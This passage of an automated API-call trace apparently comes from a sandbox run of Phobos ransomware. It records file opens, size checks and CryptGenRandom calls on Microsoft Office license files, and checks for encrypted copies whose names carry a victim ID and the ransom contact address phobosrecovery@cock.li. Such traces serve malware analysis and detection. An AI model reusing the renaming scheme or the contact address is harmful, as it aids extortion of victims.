0xffffffff [0152.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.498] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.499] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=26525) returned 1 [0152.499] CloseHandle (hObject=0x564) returned 1 [0152.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 0x220 [0152.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.499] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.500] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11595) returned 1 [0152.500] CloseHandle (hObject=0x564) returned 1 [0152.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 0x220 [0152.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.500] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.501] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11151) returned 1 [0152.501] CloseHandle (hObject=0x564) returned 1 [0152.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 0x220 [0152.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.501] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.502] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=26525) returned 1 [0152.502] CloseHandle (hObject=0x564) returned 1 [0152.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 0x220 [0152.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.502] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.502] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11596) returned 1 [0152.502] CloseHandle (hObject=0x564) returned 1 [0152.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 0x220 [0152.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.503] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.503] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11155) returned 1 [0152.503] CloseHandle (hObject=0x564) returned 1 [0152.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 0x220 [0152.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.504] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.504] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=26526) returned 1 [0152.504] CloseHandle (hObject=0x564) returned 1 [0152.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 0x220 [0152.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.505] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.506] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11600) returned 1 [0152.506] CloseHandle (hObject=0x564) returned 1 [0152.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 0x220 [0152.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.506] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.507] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11139) returned 1 [0152.507] CloseHandle (hObject=0x564) returned 1 [0152.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 0x220 [0152.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.507] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.508] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=26585) returned 1 [0152.508] CloseHandle (hObject=0x564) returned 1 [0152.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 0x220 [0152.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.508] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.509] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11586) returned 1 [0152.509] CloseHandle (hObject=0x564) returned 1 [0152.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 0x220 [0152.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.509] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.599] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=12479) returned 1 [0152.599] CloseHandle (hObject=0x580) returned 1 [0152.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 0x220 [0152.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.600] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.600] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=26541) returned 1 [0152.600] CloseHandle (hObject=0x580) returned 1 [0152.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 0x220 [0152.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.601] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.606] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11651) returned 1 [0152.606] CloseHandle (hObject=0x580) returned 1 [0152.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 0x220 [0152.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.607] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.608] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11199) returned 1 [0152.608] CloseHandle (hObject=0x580) returned 1 [0152.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 0x220 [0152.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.608] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.608] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=26541) returned 1 [0152.608] CloseHandle (hObject=0x580) returned 1 [0152.608] GetFileAttributesW 